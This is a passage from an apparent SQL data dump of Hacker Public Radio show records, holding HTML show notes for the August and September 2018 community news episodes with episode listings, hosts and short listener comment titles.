(2631,'2018-09-03','HPR Community News for August 2018',4471,'HPR Volunteers talk about shows released and comments posted in August 2018','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=368\" target=\"_blank\">Xtrato</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2608\" target=\"_blank\">2608</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-08-01</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2608\" target=\"_blank\">BattleTech</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2609\" target=\"_blank\">2609</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-08-02</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2609\" target=\"_blank\">SparkleShare</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2610\" target=\"_blank\">2610</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-08-03</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2610\" target=\"_blank\">Gnu Awk - Part 12</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2611\" target=\"_blank\">2611</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-08-06</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2611\" target=\"_blank\">HPR Community News for July 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2612\" target=\"_blank\">2612</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-08-07</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2612\" target=\"_blank\">Liverpool Makefest 2018 - interview with Joe aka Concrete Dog</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2613\" target=\"_blank\">2613</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-08-08</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2613\" target=\"_blank\">Quick Awk Tip</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2614\" target=\"_blank\">2614</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-08-09</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2614\" target=\"_blank\">My 1948 Truetone D1835 Tube Radio</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2615\" target=\"_blank\">2615</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-08-10</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2615\" target=\"_blank\">Cancer</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2616\" target=\"_blank\">2616</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-08-13</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2616\" target=\"_blank\">Liverpool Makefest 2018 - interview with Josh - A.K.A - All About Code</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2617\" target=\"_blank\">2617</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-08-14</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2617\" target=\"_blank\">Exposing a Raspberry Pi database through a REST API</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2618\" target=\"_blank\">2618</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-08-15</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2618\" target=\"_blank\">Yesod - First Impressions</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2619\" target=\"_blank\">2619</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-08-16</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2619\" target=\"_blank\">A Gentle Introduction to Quilt</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\" target=\"_blank\">bjb</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2620\" target=\"_blank\">2620</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-08-17</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2620\" target=\"_blank\">Thoughts on language learning part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2621\" target=\"_blank\">2621</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-08-20</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2621\" target=\"_blank\">Liverpool Makefest 2018 - Chan\'nel Thomas a.k.a little pink maker</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2622\" target=\"_blank\">2622</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-08-21</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2622\" target=\"_blank\">Raspberry Pi Temperaturator</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2623\" target=\"_blank\">2623</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-08-22</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2623\" target=\"_blank\">Actors and Agents, Sprites and Fractals</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2624\" target=\"_blank\">2624</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-08-23</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2624\" target=\"_blank\">Cycling through Brussels</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2625\" target=\"_blank\">2625</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-08-24</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2625\" target=\"_blank\">My thoughts on language learning communication applications.</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2626\" target=\"_blank\">2626</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-08-27</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2626\" target=\"_blank\">Liverpool Makefest 2018 - interviews with Helen and Chris</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2627\" target=\"_blank\">2627</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-08-28</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2627\" target=\"_blank\">Home Phone Setup!!</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2628\" target=\"_blank\">2628</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-08-29</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2628\" target=\"_blank\">UK Telephone Network Exploration</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=368\" target=\"_blank\">Xtrato</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2629\" target=\"_blank\">2629</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-08-30</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2629\" target=\"_blank\">Thoughts on language learning part 3 - game/story mode.</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2630\" target=\"_blank\">2630</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-08-31</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2630\" target=\"_blank\">Open Source Gaming: Revisiting Meridian 59</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 25 comments in total.</p>\n<p>There is 1 comment on\n1 previous show:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2542#comments\" target=\"_blank\">hpr2542</a></strong>\n(2018-05-01) \"<em>How I helped my dad run a static website using SparkleShare</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2542#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2018-08-04:\n\"Full episode on SparkleShare\"</li></ul><br/>\n</li></ul>\n<p>There are 24 comments on 15 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2608#comments\" target=\"_blank\">hpr2608</a></strong>\n(2018-08-01) \"<em>BattleTech</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2608#1\" target=\"_blank\">Comment 1</a>:\ncmhobbs on 2018-08-01:\n\"hurray battletech!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2608#2\" target=\"_blank\">Comment 2</a>:\ntuturto on 2018-08-05:\n\"MegaMek and MekWars\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2609#comments\" target=\"_blank\">hpr2609</a></strong>\n(2018-08-02) \"<em>SparkleShare</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2609#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-08-04:\n\"Thank you!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2611#comments\" target=\"_blank\">hpr2611</a></strong>\n(2018-08-06) \"<em>HPR Community News for July 2018</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2611#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2018-08-06:\n\"In case there was any doubt.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2612#comments\" target=\"_blank\">hpr2612</a></strong>\n(2018-08-07) \"<em>Liverpool Makefest 2018 - interview with Joe aka Concrete Dog</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2612#1\" target=\"_blank\">Comment 1</a>:\nSteve on 2018-08-07:\n\"Rockets!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2612#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2018-08-09:\n\"Comment 1\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2613#comments\" target=\"_blank\">hpr2613</a></strong>\n(2018-08-08) \"<em>Quick Awk Tip</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2613#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2018-08-12:\n\"Thanks for this\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2614#comments\" target=\"_blank\">hpr2614</a></strong>\n(2018-08-09) \"<em>My 1948 Truetone D1835 Tube Radio</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2614#1\" target=\"_blank\">Comment 1</a>:\nhammerron on 2018-08-09:\n\"Tube Radio Show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2614#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2018-08-11:\n\"Tube clock radios\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2615#comments\" target=\"_blank\">hpr2615</a></strong>\n(2018-08-10) \"<em>Cancer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2615#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2018-08-11:\n\"Thank you.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2617#comments\" target=\"_blank\">hpr2617</a></strong>\n(2018-08-14) \"<em>Exposing a Raspberry Pi database through a REST API</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2617#1\" target=\"_blank\">Comment 1</a>:\nKen on 2018-08-14:\n\"Where is the script\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2618#comments\" target=\"_blank\">hpr2618</a></strong>\n(2018-08-15) \"<em>Yesod - First Impressions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2618#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2018-08-15:\n\"Looking into this\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2619#comments\" target=\"_blank\">hpr2619</a></strong>\n(2018-08-16) \"<em>A Gentle Introduction to Quilt</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\" target=\"_blank\">bjb</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2619#1\" target=\"_blank\">Comment 1</a>:\nrtsn on 2018-08-21:\n\"comment\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2620#comments\" target=\"_blank\">hpr2620</a></strong>\n(2018-08-17) \"<em>Thoughts on language learning part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2620#1\" target=\"_blank\">Comment 1</a>:\nbaffled on 2018-08-22:\n\"Nice show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2620#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2018-08-24:\n\"I have 2, do I hear 3?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2622#comments\" target=\"_blank\">hpr2622</a></strong>\n(2018-08-21) \"<em>Raspberry Pi Temperaturator</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2622#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-08-27:\n\"Why is there no cute warning on this episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2622#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2018-08-30:\n\"Cuter than a box of puppies or kittens\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2624#comments\" target=\"_blank\">hpr2624</a></strong>\n(2018-08-23) \"<em>Cycling through Brussels</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2624#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2018-08-22:\n\"Fantastic\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2627#comments\" target=\"_blank\">hpr2627</a></strong>\n(2018-08-28) \"<em>Home Phone Setup!!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2627#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2018-08-27:\n\"Definition of hacking!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2627#2\" target=\"_blank\">Comment 2</a>:\nb-yeezi on 2018-08-28:\n\"My sentiments exactly\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2627#3\" target=\"_blank\">Comment 3</a>:\njezra on 2018-08-29:\n\"Absolutely spectacular\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2627#4\" target=\"_blank\">Comment 4</a>:\ndodddummy on 2018-08-30:\n\"Scream, Yell, &quot;Bravo!&quot;, also, this is called A Show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2627#5\" target=\"_blank\">Comment 5</a>:\nMike Ray on 2018-08-30:\n\"Stoop?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2628#comments\" target=\"_blank\">hpr2628</a></strong>\n(2018-08-29) \"<em>UK Telephone Network Exploration</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=368\" target=\"_blank\">Xtrato</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2628#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2018-08-30:\n\"Memories\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-August/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-August/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\"><code>bjb</code></a> and possible future host <em>baffled</em> for sending in updates in the past month.</p>\n<p>Over the period tags and/or summaries have been added to 9 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2651,'2018-10-01','HPR Community News for September 2018',4790,'HPR Volunteers talk about shows released and comments posted in September 2018','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2631\" target=\"_blank\">2631</a></strong></td>\n    <td>Mon</td>\n    <td>2018-09-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2631\" target=\"_blank\">HPR Community News for August 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2632\" target=\"_blank\">2632</a></strong></td>\n    <td>Tue</td>\n    <td>2018-09-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2632\" target=\"_blank\">Liverpool Makefest 2018 - interviews with Robert and Carl</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2633\" target=\"_blank\">2633</a></strong></td>\n    <td>Wed</td>\n    <td>2018-09-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2633\" target=\"_blank\">Elm - First Impressions</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2634\" target=\"_blank\">2634</a></strong></td>\n    <td>Thu</td>\n    <td>2018-09-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2634\" target=\"_blank\">Git tag and metadata</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2635\" target=\"_blank\">2635</a></strong></td>\n    <td>Fri</td>\n    <td>2018-09-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2635\" target=\"_blank\">Running your own mainframe on Linux (for fun and profit)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2636\" target=\"_blank\">2636</a></strong></td>\n    <td>Mon</td>\n    <td>2018-09-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2636\" target=\"_blank\">Liverpool Makefest 2018 - interviews with Noel from JMU FabLab</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2637\" target=\"_blank\">2637</a></strong></td>\n    <td>Tue</td>\n    <td>2018-09-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2637\" target=\"_blank\">Convert it to Text</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2638\" target=\"_blank\">2638</a></strong></td>\n    <td>Wed</td>\n    <td>2018-09-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2638\" target=\"_blank\">Dirt cheap Magic</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2639\" target=\"_blank\">2639</a></strong></td>\n    <td>Thu</td>\n    <td>2018-09-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2639\" target=\"_blank\">Some ancillary Bash tips - 9</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2640\" target=\"_blank\">2640</a></strong></td>\n    <td>Fri</td>\n    <td>2018-09-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2640\" target=\"_blank\">Another Rambling Drive Into Work</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2641\" target=\"_blank\">2641</a></strong></td>\n    <td>Mon</td>\n    <td>2018-09-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2641\" target=\"_blank\">Liverpool Makefest 2018 - interview with Rachel from the MicroBit Foundation</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2642\" target=\"_blank\">2642</a></strong></td>\n    <td>Tue</td>\n    <td>2018-09-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2642\" target=\"_blank\">My swedish and german Podcasts Part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2643\" target=\"_blank\">2643</a></strong></td>\n    <td>Wed</td>\n    <td>2018-09-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2643\" target=\"_blank\">The Payoff In Storytelling</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2644\" target=\"_blank\">2644</a></strong></td>\n    <td>Thu</td>\n    <td>2018-09-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2644\" target=\"_blank\">Error on show 2642</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2645\" target=\"_blank\">2645</a></strong></td>\n    <td>Fri</td>\n    